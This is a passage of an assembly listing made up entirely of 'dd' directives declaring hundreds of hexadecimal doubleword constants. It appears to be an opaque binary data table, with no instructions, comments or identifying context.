		dd 0BCC8E04Eh, 0A4311E43h, 0CB652935h, 4B5C0E98h, 97BBE913h
		dd 0F715FCB3h, 0D728A995h, 4A017AB7h, 5096E526h, 2812B0ADh
		dd 62202798h, 0EEEBE0D1h, 45DB28Eh, 743545BDh, 0F5E3D04Ch
		dd 0AC255863h, 1EDDD92Dh, 0B0BCC0C5h, 5DEF899Ch, 0D175FB90h
		dd 0DF0B574Bh, 841B5945h, 0BC40A1E9h, 56E8C94Fh, 4FCC2523h
		dd 78F0E1E8h, 680168BAh, 1D896B3Dh, 7882455Dh, 1640800Fh
		dd 42C5EBA3h, 0C0B52172h, 0C05185A2h, 0A8A2EE1Dh, 564FAB11h
		dd 1B651901h, 924257E3h, 9F54F3ADh, 0F9C91654h,	6BA213A5h
		dd 0A8B554BCh, 5CAE12C8h, 0F12417ADh, 7918001Ah, 81467DF5h
		dd 3B91F606h, 291E2BFBh, 13CD8B5Eh, 0CB19AC1Ah,	13A684F9h
		dd 16E304AEh, 37E01309h, 5012CC56h, 650FEDCDh, 69601874h
		dd 513505Bh, 9207EFBEh,	0C5BC8062h, 3361A83Eh, 8611FA8Ch
		dd 0F7047DE2h, 6DEC45h,	0A8E0D15h, 0BF5DEE21h, 6208843h
		dd 86025A03h, 820BBEB6h, 724A7793h, 21FD20E9h, 7FA8839h
		dd 0C05B5AD1h, 0E6D702C9h
		dd 9B5C598h, 22C14068h,	98E66954h, 4F02680Fh, 827C2475h
		dd 92E808C2h, 4C78F680h, 0EE12C625h, 550CC79Ah,	8725805Fh
		dd 4A2DE9F5h, 0F6FE4839h, 2C8CB3B6h, 2EE4CFB7h,	409BCD30h
		dd 96B52BDAh, 90B65200h, 0CEFEDEF6h, 58E63B80h,	36E9D686h
		dd 8181324Eh, 89906A78h, 1780D3B4h, 0C0FB2E4h, 0C4B75552h
		dd 0E17CC690h, 0E4F93180h, 5708C1CFh, 725B5F53h, 0E88384F8h
		dd 561425BBh, 4345234h,	0B246C6B2h, 0A1E066F2h,	9897806Dh
		dd 55B8047h, 5F286200h,	0D9AD2D74h, 213A26E1h, 0D05625FDh
		dd 0C272E2E1h, 0F530A421h, 60588136h, 1EB001C2h, 1F25677Ch
		dd 5E5099F6h, 962C569h,	71F0B6E9h, 4A8CC697h, 8466B866h
		dd 1168DB8h, 230A943Eh,	0B171EC3Eh, 5512529Bh, 0ABB9D341h
		dd 0D1C3DE52h, 416EF1B3h, 1F47A392h, 15F5616Bh,	0E20685EBh
		dd 5E845B47h, 0E9127CAEh, 0ACE21E54h, 2068661Ch, 0B6D267h
		dd 0F6C2B252h, 5E2C0DAh, 27AE92Dh, 43E3C1ABh, 614C9A84h
		dd 0C03025F4h, 0DDD800A5h, 5BD9894Ah, 0E926CD29h, 5CB15360h
		dd 0C86A71C0h, 8D5B35E0h, 0E7D08DA6h, 0AC2D164Bh, 3F29A948h
		dd 27140C6Bh, 0A31AE912h, 0FA19B5F9h, 305B0C8Ch, 31BA261Fh
		dd 26520FBEh, 233E154h,	4DE8B951h, 80F52553h, 6FEA81E7h
		dd 1C5F3023h, 930B620Ch, 10F71040h, 538EB75h, 169B1BB5h
		dd 0BD4D4486h, 799808E6h, 1B17025Fh, 8C7BFB8Dh,	6F905664h
		dd 0A5193020h, 0F7B3303Dh, 6A4B68F9h, 323AF2B1h, 0B1C9A223h
		dd 31D97129h, 0A0096AA7h, 762E78A0h, 11513040h,	0D831AD24h
		dd 0B82D70FFh, 9AA7D00h, 47E17ABDh, 0D5291A76h,	60D2A65Ah
		dd 6747A95h, 175602CDh,	4481223h, 55270946h, 19510235h
		dd 0A29357C3h, 826552C1h, 7E51BED9h, 7C78216h, 3C8E680Eh
		dd 6251B44Bh, 0BA00D027h, 5B1905A8h, 5493E45Ah,	849BF249h
		dd 55062B12h, 665B7850h, 25640229h, 79F8B287h, 58C6265Bh
		dd 40810EEh, 614A6B72h,	608B13AFh, 581EBD80h, 8C253625h
		dd 5A1664D5h, 11F3B4EBh, 57B4CC4Bh, 4838EF2Bh, 0AC78C9Fh
		dd 0AA39F18Dh, 31711221h, 82ECA284h, 70E2E627h,	87089ADBh
		dd 0AA2D01EFh, 302A0D12h, 46B5BB31h, 566870F4h,	0AF129946h
		dd 8523E9F3h, 35AB44B4h, 7A17F5B5h, 0F1E98560h,	0EDA9C929h
		dd 5F8A71F4h, 6801FD31h, 1F540F2Fh, 0C276BE41h,	0BDE30004h
		dd 293FC775h, 0EA2EF27Dh, 4799D322h, 6189E88Eh,	6BD12C8Bh
		dd 59707DB8h, 1AFF04Ch,	80C5FECCh, 0A9CF56EDh, 20872834h
		dd 0C0D0B753h, 4D0417F7h, 896D0E97h, 8836655Bh,	0C107F292h
		dd 0EA3707E2h, 0E0E569EFh, 5D926875h, 3815B58h,	4163C244h
		dd 493F9E6h, 570492FCh,	0B06FDC9Ch, 0E80927A1h,	88FB0113h
		dd 0AA2E0876h, 3A8E388Dh, 8D10C779h, 6855053Ah,	39521E48h
		dd 9EA52413h, 914B307Dh, 3EED3DA6h, 5EC5F847h, 41B42817h
		dd 9D4F21BCh, 51FC8FE1h, 461BE9E9h, 0F0212EA1h,	4D8B180Fh
		dd 2E1E1FE7h, 31D21302h, 0CDB05F83h, 0A5E1B7C2h, 0A116518Bh
		dd 75D3B41Eh, 275A8FF0h, 0AA60D2F7h, 0B716B349h, 0FC048988h
		dd 580B0CFBh, 5457DCA1h, 0A7FA205Fh, 37386016h,	7C9F5101h
		dd 65317879h, 7F0C01F7h, 5AE9FB29h, 405C3AC8h, 2513B987h
		dd 50B90167h, 0E5E63B5h, 0BEF956D8h, 0F1843F17h, 58D7C9F4h
		dd 0EE05024Fh, 0AAE18F2h, 1CB5FCAh, 4E8D2BADh, 4B42DA29h
		dd 5E5082Ah, 0DC71DC68h, 0B6497BAAh, 14D7C494h,	4867A58Dh
		dd 2FB0B175h, 0E59C3A71h, 0F50AB5AAh, 0A330402Ch, 17A4D10Ch
		dd 0A72601F7h, 5E57AFCAh, 0B3F0F85Fh, 680A109Dh, 27187CBFh
		dd 7DC85B2Ah, 67062FE0h, 1F870F63h, 0D244A077h,	0B536E408h
		dd 8DB50660h, 0F08E5659h, 0B5AD6EE9h, 4B07CE48h, 82ED29C0h
		dd 582C1803h, 9F100759h, 864A75B1h, 247F31F7h, 9242DF5Bh
		dd 0B347ABF3h, 0BC7A875Eh, 0E9DBE602h, 1F868483h, 490E5EFBh
		dd 70564AF6h, 6A9F8462h, 0CA08C3BAh, 8360095Fh,	3C5BB151h
		dd 0F1C98AA0h, 9238E3CEh, 0BBCA4858h, 592118D3h, 2FA87248h
		dd 0E90C6A06h, 20DD47h,	0A346160Dh, 68AA0573h, 0A527033Fh
		dd 0B72E780Ch, 0BB986AEEh, 1E92B120h, 957DDF7h,	8B723D34h
		dd 0C3724C0h, 955E4B83h, 364E6440h, 17A3BC48h, 36FD9BCBh
		dd 0F314A00Bh, 7A201EE0h, 0C61AA30h, 13DD7249h,	0ECFE29A4h
		dd 0F56EB168h, 30B8883Eh, 205AD40Bh, 8075DBE3h,	0B25FB353h
		dd 29D28D3h, 347A96Ah, 6CB9D029h, 0E48A6E59h, 9C5AEB3Bh
		dd 6B0CBF0Eh, 0A078E652h, 7D7F12A0h, 0BD190F2Eh, 559F92E0h
		dd 0F9728951h, 780BCD48h, 340594FAh, 9BE9384Ah,	2A6053C9h
		dd 7BE12717h, 763CEB7Ah, 68BF7AA8h, 256E0361h, 246555A9h
		dd 0FB8500Ah, 0D6DDE906h, 5F5A2654h, 0D5E570E7h, 0E2D5C81h
		dd 39C653C9h, 0DA49B198h, 0E495B15h, 5D9EFAC6h,	0D85F9DEAh
		dd 0FA258A3Ah, 0D2065E51h, 6A800ADBh, 0E91A730Dh, 43E74A8Eh
		dd 0BB4B17E1h, 0D994CC7Eh, 25405903h, 331E0C07h, 8DACE0D1h
		dd 1FF3904h, 76F877E9h,	0C7FF7E51h, 55F129EBh, 6800071Eh
		dd 0C70CDF98h, 9DA5E95Eh, 14D410EAh, 1FB2F608h,	0C05D964Ah
		dd 0EC885084h, 0F990E6E4h, 16149669h, 4FF3FC1Fh, 1A13421Fh
		dd 8A586A18h, 0A2E5400Bh, 0DFF1D01Bh, 0B736D276h, 0E2277BC5h
		dd 0E0BCCBACh, 600C5E91h, 51090C48h, 0F0BEB531h, 7CBCA60Bh
		dd 2D450C3h, 97305881h,	5F9EBD2Dh, 8B20BA0h, 404024B8h
		dd 0B92B9559h, 0FCFBB856h, 423BD4C9h, 0A7C1E976h, 5A025CE4h
		dd 89EF9E42h, 2D427AF7h, 57BADE50h, 0B1B825D7h,	8DE8A756h
		dd 0FAC181C4h, 0A30CEF58h, 75290222h, 0E0E9F901h, 34FD614Ah
		dd 90E9253Fh, 80587004h, 0B32D4E15h, 0E0E4234Bh, 4211DB51h
		dd 30857180h, 50DE0112h, 7D123100h, 2F596124h, 0BE01BDE9h
		dd 3BA9880Fh, 6EEEA341h, 0EE407554h, 3E6ABAC6h,	0F6034C5Dh
		dd 0A0C09E4h, 315EFE07h, 0C7955FF8h, 0C1C0CEECh, 0CF8107EFh
		dd 6E492B0Eh, 0D842DE25h, 0F4ECEABEh, 4ADA081Ch, 0E5E1890Bh
		dd 2DA58B28h, 922FF0C6h, 522E11CDh, 0C3014A62h,	0E0C6333h
		dd 8014305Fh, 7E744D01h, 2A06282Dh, 0CFD8F7F4h,	78414004h
		dd 0FD6FA305h, 0EECAD7F2h, 583B8957h, 8086FCAEh, 7E15CFBBh
		dd 5A853D6h, 2625D5CBh,	0B795ADB0h, 7E669291h, 85E73244h
		dd 1804AC12h, 83279F79h, 0EC204A6Eh, 9D899F96h,	7505AABDh
		dd 299ABB07h, 0FE6C49B6h, 5632EF71h, 781F6801h,	61D83143h
		dd 7474B880h, 3862E1F9h, 7DA98D38h, 0F3B99E14h,	8DE1752Fh
		dd 96802E46h, 60442878h, 7AB10C13h, 315BE35Ah, 732BF0B1h
		dd 0E9F8D043h, 48961A61h, 52A2B62h, 3009B864h, 6EB4796Dh
		dd 83A55AB2h, 0C28353FCh, 0E22858B0h, 4D3AD2B0h, 71EE25E9h
		dd 51962F06h, 9AFC854Ah, 81574230h, 0C313D2F1h,	4480A7F3h
		dd 121B951h, 411C1716h,	3F06E1C1h, 0DB3C9480h, 4E497635h
		dd 4DCF8066h, 555B800Fh, 0ABA9C416h, 5FFD81E4h,	0A1B32BBDh
		dd 0B020E983h, 25F41C4Fh, 1259438Ch, 0F1A03BE9h, 5BF17731h
		dd 0BE04C0F9h, 40F44BC9h, 0D760CFF4h, 246C2914h, 595D2508h
		dd 5696BF1h, 21FF0CF5h,	2ABFD655h, 11CB2AF2h, 0D11BF3D0h
		dd 0CA3854EEh, 1E90721Ah, 28D74E82h, 15580CF5h,	0FC0C51EAh
		dd 0A111F209h, 0CFC941F7h, 1ECB5D80h, 0F1CB762h, 174F8D70h
		dd 13F2F3E4h, 910E9159h, 2A60D9C3h, 102154A7h, 3A846508h
		dd 0DFCC60BAh, 6E5C1A0h
		dd 0E0E06D2h, 2E6A23CDh, 1AEDB168h, 27FEC070h, 1FD1EE31h
		dd 4797050Ch, 3EF409E6h, 0BAC814E8h, 7C1424EEh,	1C8E1D32h
		dd 4B0527D8h, 9DB1F5E9h, 0CB5D8C3Eh, 0D70EC897h, 3060FB5Ah
		dd 0FDD40F3h, 0DEDC8412h, 86B124E8h, 6084C339h,	2C8BC688h
		dd 0E24D5FC2h, 5B01224Ah, 0B22BD031h, 0A1D9253Eh, 3638685Ch
		dd 0D38994E4h, 9694E212h, 5BDF5071h, 84BE272Bh,	2525EB3Dh
		dd 0F8B24B97h, 7FAB4A8Fh, 6DA37AA7h, 7E276B12h,	0F455154h
		dd 8FD623B3h, 30EA294Ch, 7BB90D89h, 57BE245Fh, 8AA7BEB8h
		dd 166B08Ah, 1144E51h, 59806EF2h, 4C2B404Bh, 0B4291467h
		dd 0C65147F7h, 5B4FB56Ah, 660F9CE3h, 0DEEBE1F7h, 5452E740h
		dd 0DB685A09h, 88C15109h, 702DBE31h, 0F2810223h, 0BBE5FBE4h
		dd 0C75E22FDh, 8F682202h, 6EB79678h, 34052031h,	106E4148h
		dd 0FF505B1Bh, 19311F39h, 7A870902h, 0E6E2BE52h, 0AE346292h
		dd 34848198h, 4A7A90C3h, 0D4C0ACB3h, 0A1B02ED9h, 0D554C442h
		dd 0D5292310h, 80953C80h, 0D690D9F7h, 6EC90D55h, 0F206B434h
		dd 0F82882C5h, 665B6AD9h, 0E2CC0F11h, 9AE5C82Eh, 1FBCDFBh
		dd 832B3CB1h, 6FD4EDD1h, 25F410F6h, 125F3B42h, 884BC986h
		dd 879D04C7h, 884004ACh, 0A68E7E8Fh, 0BFCE2172h, 323A5749h
		dd 0F6992E89h, 0DF0660EEh, 0B55E8F40h, 0ED0BA89Ah, 0E9E2DDFBh
		dd 0C3E7CDCh, 0C004D6F6h, 0BB06EE2Eh, 95DBF827h, 4FA878E5h
		dd 53C4954Ah, 2B6F39BEh, 68082CB2h, 0E9050DB1h,	0A234A478h
		dd 7AA19612h, 0FB5D86Ah, 8495AB48h, 62AE81FAh, 0BE82561Fh
		dd 7B459E27h, 1CA30F0Ah, 6E13AF3Dh, 0ACC1F7D6h,	5BEC36A5h
		dd 324AE3F8h, 9D5345C8h, 6269B91Ah, 0DADE6C5Bh,	4617DCC1h
		dd 48BD27F9h, 970728F7h, 0A27A28CAh, 9F87A920h,	3C57A041h
		dd 0DB2F7C29h, 64C6F102h, 50510017h, 5C70C668h,	9B256087h
		dd 485BEC06h, 2619ECB7h, 0BC259A90h, 5C923D89h,	0D1F72D22h
		dd 308FADC1h, 49503BE3h, 8412A1EAh, 0AB5844h, 9E8D0589h
		dd 0E297FA18h, 26255092h, 0A54F29E9h, 5589FE7Bh, 3090DABEh
		dd 0F7C3276Ah, 9C2E1521h, 5512B57Bh, 0AB920FECh, 0AF560064h
		dd 8F6B7E2Dh, 96E913E0h, 1253FFF0h, 0F336CC68h,	47557FA9h
		dd 0DCF3C1A7h, 0DAAAEF33h, 2B5A7061h, 0BDD3F0A3h, 844F9A8Fh
		dd 0EE12807Ch, 8B0FBF01h, 1387B41Ah, 308103E2h,	263F73B9h
		dd 3235E390h, 0FDA505h,	50C7044Bh, 0EE24C055h, 0E62580AFh
		dd 91238011h, 975DB64Eh, 14020FA9h, 6609839Dh, 34872561h
		dd 2E9C2F6h, 0AD8EA22h,	63340318h, 13D968D0h, 0E6A589ABh
		dd 98200803h, 85F0B981h, 827CA5A3h, 444C440h, 0F7130576h
		dd 439081DEh, 3055710Fh, 8CE201F5h, 0A7183C60h,	0C0448A36h
		dd 7730730Ch, 0EB4EE90Ah, 69B0C080h, 0C0D75004h, 95A56346h
		dd 0CEB926E7h, 0A336EC21h, 3D58FE82h, 3F2D3141h, 7ADFD17h
		dd 5A97E6F5h, 165289CCh, 0E94CC2E9h, 0F11A1346h, 0A216578Ah
		dd 856D9454h, 4834F97Dh, 9F53185Eh, 12DFEF33h, 526E3D65h
		dd 2E2E0947h, 4258ECA2h, 655AF780h, 0CAEC5C99h,	844BA501h
		dd 13DE963h, 0A28C343Ah, 2DEF1209h, 147137AEh, 0F69F450Eh
		dd 0C339F4A9h, 0A2852EF7h, 39B03237h, 0AEEC5D05h, 71272777h
		dd 14782A20h, 0F3EC2A7Fh, 3733A70Ch, 19970C6Bh,	9056E93Bh
		dd 0AA82055Ah, 5B8AD814h, 0EEC90766h, 0FC09643Eh, 4734271Bh
		dd 826A663h, 3501EC9Ch,	0AB938BD1h, 0E48D812Fh,	2F3D351Ch
		dd 16C2E837h, 4C2E7DA6h, 0A140D1E9h, 6302BD68h,	0C15B1486h
		dd 0C98277EBh, 4304C44Fh, 0F101ADC2h, 0D73D3FB3h, 9D2C0B16h
		dd 0C766EC8Eh, 0D05B1E92h, 6BC16B0Fh, 9E90904h,	6D4E6289h
		dd 77142575h, 1A68E928h, 3CD3C309h, 6CF08C06h, 2D7E40C2h
		dd 0E7A6F20Bh, 0FC328B79h, 0FD7E6E70h, 0A0D9F124h, 646C9F42h
		dd 682CF426h, 56A40269h, 89B0DE41h, 2A0B4E46h, 0F88745Eh
		dd 685100D3h, 48B010A4h, 6B16594Ch, 0CF6600C3h,	905FF989h
		dd 35602878h, 0DC3C0F73h, 8B6B3E9Dh, 2D413362h,	0FECAE0CBh
		dd 0AC26C69Fh, 0BD551FB6h, 2CD30F73h, 592DF581h, 15BA8C2Bh
		dd 48EE5D07h, 5A1F9E6Ah, 9D700946h, 0CC8B2EEh, 1EE98502h
		dd 51101ECh, 20D194B4h,	0F4C05E39h, 1FCB5FC4h, 0B7CBB821h
		dd 0FD87BA00h, 235BBBE9h, 0DBF77AD1h, 0C5BEF884h, 5F17B05Ch
		dd 0DD895513h, 343B87A1h, 84F9015Eh, 70CFB4AAh,	591F64C2h
		dd 0C50173D3h, 7C8E55B7h, 8C9506Fh, 24141C68h, 4B9F11A6h
		dd 13DDFFA2h, 31B64767h, 46E827C8h, 76B108C5h, 0CA66DEE9h
		dd 18652F51h, 0E595C82Dh, 7F7397F7h, 9F0DD8A7h,	74169F99h
		dd 8E130FCEh, 0F3ADEBD7h, 5D4B29CFh, 0DA4A0F63h, 84F23AF5h
		dd 0ADB0B9ADh, 5057015Ah, 7E154CB8h, 842F64h, 8DF841BAh
		dd 70333546h, 89CE2B8Fh, 299EEBD3h, 4F3A5721h, 4EBC435Eh
		dd 0DFACE5C5h, 0DB061EB7h, 540C6023h, 8249EB38h, 10370899h
		dd 232C0126h, 2880413Ah, 122B1960h, 0FAE4D731h,	99505FEh
		dd 660E04AFh, 25629581h, 803FAD35h, 2B3DD35Ah, 780C84E3h
		dd 17BAD4C6h, 185CB9FCh, 666397E9h, 0CBFE0F59h,	4364DBF6h
		dd 2BD89803h, 0ABD2240h, 41C1056Bh, 7FC0FA7h, 0BDB3EDAAh
		dd 0CE409FF3h, 0A330E80h, 0C8180C0Dh, 2DE9F2B0h, 0DA649ECFh
		dd 279A4097h, 0E2514D9Ah, 0D8F5EB00h, 45E9AE65h, 310958BAh
		dd 0D42958C6h, 0EC212C8h, 8BA4B569h, 3862AB36h,	0C9FEFCCDh
		dd 9EB1B04h, 0A0A6555Dh, 0DE027603h, 0D1366134h, 0A38C8FEBh
		dd 53A3E6Fh, 30076482h,	0D1C0E13Dh, 0DDB39DEAh,	72A84EC9h
		dd 35850F67h, 0A67F477Eh, 0F7318E6Dh, 0DF8EFE4Eh, 9E08FBCDh
		dd 7C3987D8h, 4648D6FEh, 58B9B08Ch, 34E34C1Fh, 2049EE00h
		dd 0CE0161D3h, 8811498h, 5D1E8259h, 57661503h, 0BC09D809h
		dd 0E0C113C0h, 8A1020B0h, 25029C04h, 51F53A7Fh,	996AB0C0h
		dd 0C5C616C1h, 422B53E4h, 1842E9D3h, 0C13DA0D7h, 64979DFFh
		dd 0A1C0FC89h, 0CE357A60h, 68586D20h, 0E30C4A59h, 0E91B621Bh
		dd 34DC4BBFh, 0AB457E8Eh, 882682DAh, 73E90468h,	0B549AFEEh
		dd 0B14D60D6h, 0CE88024Bh, 12F68059h, 1758EC62h, 2B362D01h
		dd 0C2296B21h, 41779420h, 9A22D47Bh, 8E6E3294h,	58C3C0E8h
		dd 9E3815Dh, 254C0B5Fh,	6B82C81h, 0E4683036h, 0E4ACCB4Ah
		dd 4250F7D9h, 197D7FF0h, 0E82355EFh, 0CB21E381h, 7AFDE133h
		dd 0E581A930h, 0C73D13B4h, 40A2071Fh, 8116D57Eh, 5566253h
		dd 20E64F14h, 0B85C4AF2h, 0D70C8CBDh, 53CE13BBh, 0D999C1A8h
		dd 2F2C0043h, 0B85B4E66h, 0AF623E17h, 291241CBh, 506EBADBh
		dd 0CE71BC2Fh, 7CF9E74Bh, 0B6ECB8C4h, 0E9469097h, 0A19D886Ch
		dd 9E4EF317h, 1C9F220h,	52AE1378h, 684A800Fh, 0B6E25AD6h
		dd 4BB3A8B5h, 830577C4h, 69C814E3h, 7B391E49h, 19C1C910h
		dd 2B3012E9h, 795D6B0Bh, 34764BCDh, 735A5642h, 0E95305EFh
		dd 0AEAB5394h, 6F8694Ch, 2D90BC41h, 0DAC176D8h,	172435C9h
		dd 8FACB12Bh, 0D85AE907h, 1348EB9Dh, 0E1FFFDBAh, 0C46160ECh
		dd 9DE9AA94h, 0AF8AA670h, 0B8D72F14h, 24B4E7B8h, 62D9AA33h
		dd 4E457A61h, 0AEFA34AFh, 4AAA2AD8h, 0E006C912h, 0C69D46D9h
		dd 6C3789A3h, 8520EA39h, 84935C6Ah, 0DF341A09h,	5BFCC230h
		dd 0FE2C9E97h, 8C2B4E3Fh, 15161F4Bh, 13102664h,	0F8E327B1h
		dd 0C4565B8Ah, 0AA9CBAC2h, 265A9A91h, 420C08Ah,	0FFDE30B3h
		dd 4A885F2Ch, 124CE1F4h
		dd 3CD55196h, 0E02FF69Ch, 5BE918F8h, 0EBC57DFEh, 0A3701B24h
		dd 94B3253Eh, 0B9B2D97h, 3B8B4067h, 861148DBh, 25ACB0EEh
		dd 677426D9h, 0BBE5670h, 198E2AF4h, 0F96BC672h,	0E5604211h
		dd 0E06496C9h, 5B4876Bh, 0ED685340h, 758E1D61h,	1A6E8B5Bh
		dd 35A82D30h, 9594A09h,	0FAC9D2CBh, 0AB6182BDh,	0F86660F9h
		dd 43D0541Eh, 0A0E9D103h, 0C207CF0h, 1EE60DF3h,	0E98801BCh
		dd 0BF0DBADBh, 9A766CB0h, 89F279Fh, 460AC382h, 5A54790Eh
		dd 5FDDF6DAh, 0E9848DE2h, 212DF15Fh, 0CC0FE6Bh,	6082C0CBh
		dd 50F12B50h, 16DEBD84h, 0B0F5295Bh, 6BC20854h,	0C0485DE8h
		dd 0FA4005F4h, 96B61Bh,	2815EA80h, 41E75AD7h, 35249CFCh
		dd 25AB302Fh, 484D441Fh, 0D9351809h, 37E48BEBh,	34A57BA0h
		dd 0E29815AFh, 2957FC00h, 8282D73h, 27E9E8FAh, 86C80D49h
		dd 392627B5h, 9E028140h, 2D5A15h, 0DCF749ECh, 0D7CE0141h
		dd 4E88C781h, 2C8BE811h, 0E8A7C59Fh, 25FB0287h,	4EDC106Bh
		dd 5C519B09h, 6FAB61B0h, 10B03BE6h, 97F1BA4Ah, 26EFAF02h
		dd 0BFD9555h, 0C1CBB8E9h, 5092EDF8h, 314CBF12h,	469D5CEEh
		dd 0C0D4411h, 905CA709h, 0E7807726h, 35454A69h,	0BADCBC61h
		dd 4761C501h, 0B5051864h, 0B6D20816h, 0F3972AF2h, 403B25D5h
		dd 0B67782C0h, 5964EF51h, 2DDA8AC7h, 2701E057h,	307A2D4Ch
		dd 3607F688h, 0E92A753Bh, 0B95AE0AEh, 2D607A89h, 6463246Ah
		dd 0FDED1233h, 16D300EEh, 562D4049h, 661C0436h,	92F0E955h
		dd 0A5C58BEh, 59F0EF96h, 2ED2EC1h, 25851025h, 5B50D858h
		dd 5BE2CC14h, 0E9A389Bh, 0EB7FC0E9h, 7BC69D2Dh,	7576F5FFh
		dd 2331A50Dh, 4C321B4Ah, 0A7257F87h, 2EB6B261h,	831DD583h
		dd 0ADEEABDEh, 0E0361CC8h, 0B859ECCFh, 0F3EFFC45h, 0F621982Eh
		dd 0C7FED71Fh, 0FC8A25B9h, 26064991h, 71FB6052h, 27589E50h
		dd 0A8F0A5D6h, 38799D59h, 0DA8BB3E9h, 0AE94A8DDh, 1B6CF400h
		dd 28EF8145h, 9D835CE1h, 80D56CAh, 840E20DCh, 94FAB152h
		dd 0A204E47h, 0B8EB87DDh, 96F304FCh, 0A839A8EAh, 15E9125Dh
		dd 9F2E4B4h, 14706BF4h,	98CE38E2h, 0A9CA1C5Ah, 0B45D0D69h
		dd 680CED94h, 0C63A5A2Fh, 0B5B22003h, 9DCA3AFDh, 0DE044658h
		dd 0C04FF244h, 93224720h, 2EC304Bh, 0E14A8B4Ch,	9FDF3E80h
		dd 0CEE0112h, 0C79338FDh, 0BB570229h, 0B6985F13h, 4E9240F2h
		dd 3AC781E2h, 299B3AB2h, 5E6A7047h, 0BEE10B47h,	225CC8D0h
		dd 0A02F200Ah, 9A7AD580h, 0D8011DDEh, 44BA1752h, 0FDF4E95h
		dd 0B84C7855h, 0CE57067Bh, 90442922h, 40CE5849h, 4398500Ch
		dd 0FE812BE5h, 5D00C8A8h, 81250F4Dh, 0AA0E0FA6h, 89808790h
		dd 0D5C3C6E3h, 35997A05h, 858625CBh, 381AA1C1h,	54CED98Bh
		dd 3CF01F2Fh, 2174645Eh, 4803F18Ah, 6610DCC9h, 5D0B1F26h
		dd 1482BE30h, 14D7188Ah, 9DBEB290h, 15ACBC34h, 0B31CE95Ah
		dd 3000359Fh, 0F740343Ch, 132D77D8h, 0A0D65EC3h, 0E7796801h
		dd 7E3B35C4h, 80CFB10Fh, 8D25FD1Ch, 0D7E9F60Fh,	7BC75A49h
		dd 0BDD6365Eh, 0FAB8BF57h, 0E43B534h, 6C026FF6h, 5E5C5B1Eh
		dd 0E9FE3101h, 0C96FF895h, 8787034Bh, 0D7CA3369h, 2DF671AAh
		dd 0E25C6E04h, 80F8D46Dh, 6BE9CE29h, 7DE4973Ch,	81DE948Ah
		dd 0CA111BCDh, 68F6E956h, 4E585F0Dh, 982FC805h,	33FC041h
		dd 551968ACh, 0D54FFAB4h, 0F44F69E9h, 0D64DC281h, 0DE2020F9h
		dd 90AC944Eh, 4D2787D2h, 9CC83F8Bh, 49E87721h, 68016EC0h
		dd 44AB323Ah, 4D912E5Dh, 8907BD37h, 0FD0ED202h,	79284A65h
		dd 363E2C00h, 0EC270516h, 8E424CDDh, 74BCBD3Ch,	904C01BBh
		dd 4B590841h, 0C0787AECh, 16CC255h, 0A9970A5Ch,	86376A16h
		dd 9526CAC6h, 69E47FF2h, 23FA4472h, 41AC66Bh, 0DCBF5D39h
		dd 9A84842Bh, 0EAE620A5h, 0B8C1382Ch, 7F73CA0Dh, 0AE3A6483h
		dd 0C1F42949h, 6835E4C1h, 13EE9213h, 5876EF38h,	12E7951Dh
		dd 69E2D39Eh, 567C6996h, 0E9312944h, 63053AD4h,	1FEADA86h
		dd 2EA4FD41h, 0C3FE806Ch, 28BFF380h, 8550DA58h,	0DC4191D1h
		dd 6F5B0DA5h, 0CBB360h,	760E4BB8h, 4012840Fh, 0ED82819Eh
		dd 0D0703859h, 2585FE65h, 401CFAC0h, 0A0FD514Eh, 7C11680Bh
		dd 49FF269h, 25BFFA13h,	831545F3h, 0C228AA98h, 15278411h
		dd 2946473h, 142162BDh,	0E880456Ch, 1DF62AB5h, 51E38103h
		dd 9475B44h, 5DE908A8h,	254067A0h, 0BE1C5081h, 829D354Fh
		dd 0A003C3D6h, 3151E9h,	79D3F2E9h, 95B0A70h, 0E51C572Ch
		dd 0C10F9522h, 294105E1h, 5FB6E116h, 79F9C37Eh,	0AFF4C8Ah
		dd 0D4035E97h, 0C21A37A6h, 9443D049h, 5EF925B3h, 0CA50E942h
		dd 951C6079h, 6D5B136h,	2E7D70B9h, 0C7AE60BFh, 49F61D87h
		dd 0C4CF9D9Ah, 0BB65DC2Ah, 0F7C16B1Fh, 434A9B9Eh, 3FC3AF40h
		dd 0A0455FB2h, 6C0E2560h, 0C04E3437h, 3DCC2498h, 88AEC401h
		dd 7576C8F9h, 7BF3BC13h, 0A2D215FBh, 0E763558h,	16BB62Ch
		dd 85A813D3h, 7632AF79h, 1532DD5Dh, 0A2550B40h,	7EB98A82h
		dd 546E203h, 756EEB7Bh,	722B3443h, 50AEE20Ah, 6D161DE3h
		dd 69C20B1Eh, 580884EAh, 0F3C9FDB2h, 0EBE251F4h, 9A907574h
		dd 0E14FF75Ch, 0D12EE829h, 79113AA6h, 20E9A1C4h, 0B23A4B25h
		dd 0E2182505h, 258B09E9h, 8DA5D51Dh, 0C53E8419h, 1738BE2Eh
		dd 0EBA24486h, 0F1381009h, 0C37A6162h, 0C7880844h, 218D4A73h
		dd 4835F85h, 0F1969DB2h, 8827650Eh, 26D5680Ch, 42051380h
		dd 0ED81CD3Ch, 40EAEA7Dh, 8207211Dh, 8CCFF65Ch,	4F3175DBh
		dd 685FD0C3h, 98B573D2h, 0B54AF655h, 5E4AA594h,	0C4B215ACh
		dd 0A4C291F6h, 0B4BB0010h, 6D4F5159h, 6640FCE1h, 799EF461h
		dd 0E9F81A3Fh, 0A24E8D7Fh, 155AD13Fh, 0A57B48h,	2535BEEAh
		dd 0EF295D54h, 3E761287h, 4C71AB95h, 5A638F49h,	0E6AD64Bh
		dd 4E8D7D08h, 409E8782h, 0F9F41BFBh, 22FFA980h,	3F3B4135h
		dd 20B51982h, 1420EEF3h, 0FEF0EAD2h, 35EA02C7h,	59E94E93h
		dd 880BDA74h, 0B31B68E6h, 6ED99511h, 6DD3D1CBh,	1FF22B6Ch
		dd 4493DF13h, 0EBDAF73Dh, 0F2A85E66h, 4BE40532h, 778EF35h
		dd 0D5E705C9h, 4987C24Ah, 0DEAA49EBh, 0CEBB8658h, 82AB2E4Ch
		dd 240B6761h, 0F102B759h, 459EF30h, 3ACEF620h, 8613E909h
		dd 9DD71655h, 0A1252BD2h, 262651ACh, 917B092Eh,	61938210h
		dd 0E952F91Eh, 4C72F26Fh, 0CF2037E0h, 2FC8DCBEh, 6227E989h
		dd 0A843D141h, 27DF5979h, 0BFD259C4h, 6FEF1744h, 2CC0BE0Fh
		dd 0F58919AFh, 0B7F15E5Ah, 133AE531h, 0E086B9E6h, 5BB8685Bh
		dd 4A173065h, 210C427Ah, 606EDC1h, 0CC515008h, 2B130C3Ah
		dd 3FD8D176h, 457CD40h,	894B47BFh, 0F1EBC01Eh, 71024C55h
